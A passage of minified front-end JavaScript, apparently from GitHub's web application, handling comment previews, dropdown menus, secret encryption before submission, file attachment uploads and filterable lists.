Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

Loading preview…

";try{const n=await eo(e);t.innerHTML=n||"

Nothing to preview

",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

Error rendering preview

")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return 